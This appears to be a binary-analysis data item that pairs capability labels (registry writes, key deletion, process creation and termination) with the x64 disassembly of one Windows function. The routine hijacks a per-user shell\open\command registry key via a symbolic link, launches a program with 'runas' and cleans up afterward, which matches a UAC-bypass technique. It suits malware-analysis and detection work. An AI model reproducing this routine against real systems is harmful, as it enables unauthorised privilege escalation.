Function at 0x14001592e
Capabilities:
Create process on windows
Delete registry key
Set registry value
Terminate process

Disassembly:
jmp 0x140025d70
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
mov eax, 0x1858
call fcn.14001521c
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x482
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1878]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x17f8], rax
lea rcx, [0x140078eaf]
call fcn.140015b09
mov dword [rbp + 4], 0xc0000022
mov byte [rbp + 0x24], 0
mov dword [rbp + 0x44], 0xc0000022
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0x10f8], 0
mov eax, 0x22
mov word [rbp + 0x1158], ax
mov eax, 0x24
mov word [rbp + 0x115a], ax
lea rax, str.SymbolicLinkValue
mov qword [rbp + 0x1160], rax
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x1184], eax
mov edx, 0x410
lea rcx, [rbp + 0x1b0]
call fcn.1400157e4
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140025e6c
jmp 0x1400262f7
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x118]
call fcn.140015721
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140025e8d
jmp 0x1400262f7
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0x1b0], cx
mov qword [rbp + 0x17a8], 2
cmp qword [rbp + 0x17a8], 0x410
jae 0x140025ebd
jmp 0x140025ec2
call fcn.140015811
xor eax, eax
mov rcx, qword [rbp + 0x17a8]
mov word [rbp + rcx + 0x1b0], ax
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0x1b0]
mov r8, rax
mov rdx, qword [rbp + 0x1838]
mov rcx, qword [rbp + 0x88]
call fcn.14001541f
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140025f08
jmp 0x1400262f7
mov byte [rbp + 0x24], 1
lea rcx, [rbp + 0x1b0]
call fcn.14001528a
movzx ecx, word [rbp + 0x11a]
lea rax, [rcx + rax*2 + 0x104]
mov qword [rbp + 0x1138], rax
mov rcx, qword [rbp + 0x1138]
call fcn.140015659
mov qword [rbp + 0x10f8], rax
cmp qword [rbp + 0x10f8], 0
jne 0x140025f50
jmp 0x1400262f7
mov rax, qword [rbp + 0x10f8]
mov qword [rbp + 0x180], rax
xor eax, eax
mov word [rbp + 0x178], ax
movzx eax, word [rbp + 0x1138]
mov word [rbp + 0x17a], ax
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x178]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeStringToString]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140025f97
jmp 0x1400262f7
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0xa10], cx
mov qword [rbp + 0x17c8], 2
cmp qword [rbp + 0x17c8], 0x208
jae 0x140025fc7
jmp 0x140025fcc
call fcn.140015811
xor eax, eax
mov rcx, qword [rbp + 0x17c8]
mov word [rbp + rcx + 0xa10], ax
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0xa10]
lea rdx, str.SoftwareClasses
mov rcx, rax
call fcn.1400151ea
lea rdx, [rbp + 0xa10]
lea rcx, [rbp + 0x178]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x14002601f
jmp 0x1400262f7
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x178]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140026041
jmp 0x1400262f7
mov r9d, 0x104
mov r8, qword [rbp + 0x1828]
mov edx, 0x104
lea rcx, [rbp + 0x5e0]
call fcn.140015578
lea rdx, str._shellopen
lea rcx, [rbp + 0x5e0]
call fcn.140015a96
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x5e0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x1400260c0
jmp 0x1400262f7
lea rdx, str.command
lea rcx, [rbp + 0x148]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rbp + 0xc8], 0x30
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xd0], rax
mov dword [rbp + 0xe0], 0x40
lea rax, [rbp + 0x148]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0x1114]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0xc8]
mov edx, 0xf003f
lea rcx, [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtCreateKey]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xc0000035
jne 0x140026188
mov eax, dword [rbp + 0xe0]
bts eax, 8
mov dword [rbp + 0xe0], eax
lea r8, [rbp + 0xc8]
mov edx, 0xf003f
lea rcx, [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140026193
jmp 0x1400262f7
mov rcx, qword [rbp + 0x180]
call fcn.14001528a
shl rax, 1
mov qword [rbp + 0x1138], rax
movzx eax, word [rbp + 0x178]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 6
xor r8d, r8d
lea rdx, [rbp + 0x1158]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x1400261eb
jmp 0x1400262f7
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0xa8], 0
cmp dword [rbp + 0x1820], 0x3d
je 0x140026219
cmp dword [rbp + 0x1820], 0x35
jne 0x1400262d4
mov rax, qword [0x140070bf8]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0xc40]
call fcn.1400151ea
mov rdx, qword [rbp + 0x1830]
lea rcx, [rbp + 0xc40]
call fcn.140015a96
mov edx, 0x70
lea rcx, [rbp + 0x1070]
call fcn.1400157e4
mov dword [rbp + 0x1070], 0x70
lea rax, str.runas
mov qword [rbp + 0x1080], rax
lea rax, [rbp + 0xc40]
mov qword [rbp + 0x1088], rax
mov dword [rbp + 0x10a0], 1
mov dword [rbp + 0x1074], 0x40
lea rcx, [rbp + 0x1070]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x1400262d2
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x10d8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x10d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
jmp 0x1400262ed
xor edx, edx
mov rcx, qword [rbp + 0x1830]
call fcn.1400159dd
test eax, eax
je 0x1400262ed
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140025e51
cmp qword [rbp + 0xa8], 0
je 0x14002630e
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0x10f8], 0
je 0x140026324
mov rcx, qword [rbp + 0x10f8]
call fcn.140015bae
movzx eax, byte [rbp + 0x24]
test eax, eax
je 0x140026357
cmp qword [rbp + 0x88], 0
je 0x140026357
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0x1b0]
mov rdx, rax
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp qword [rbp + 0x88], 0
je 0x14002636e
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtClose]
cmp dword [rbp + 0x1184], 0
jl 0x14002637d
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0x5e0], cx
mov qword [rbp + 0x17e8], 2
cmp qword [rbp + 0x17e8], 0x410
jae 0x1400263ad
jmp 0x1400263b2
call fcn.140015811
xor eax, eax
mov rcx, qword [rbp + 0x17e8]
mov word [rbp + rcx + 0x5e0], ax
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0x5e0]
lea rdx, str.SoftwareClasses
mov rcx, rax
call fcn.1400151ea
lea rdx, [0x14004a640]
lea rcx, [rbp + 0x5e0]
call fcn.140015a96
mov rdx, qword [rbp + 0x1828]
lea rcx, [rbp + 0x5e0]
call fcn.140015a96
lea rdx, str._shellopen
lea rcx, [rbp + 0x5e0]
call fcn.140015a96
lea rdx, [0x14004a640]
lea rcx, [rbp + 0x5e0]
call fcn.140015a96
lea rdx, str.command
lea rcx, [rbp + 0x5e0]
call fcn.140015a96
lea rcx, [rbp + 0x5e0]
call fcn.140015479
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, reloc.Cabinet.dll_FCIDestroy
call fcn.14001595b
mov rax, rdi
mov rcx, qword [rbp + 0x17f8]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x1808]
pop rdi
pop rbp
ret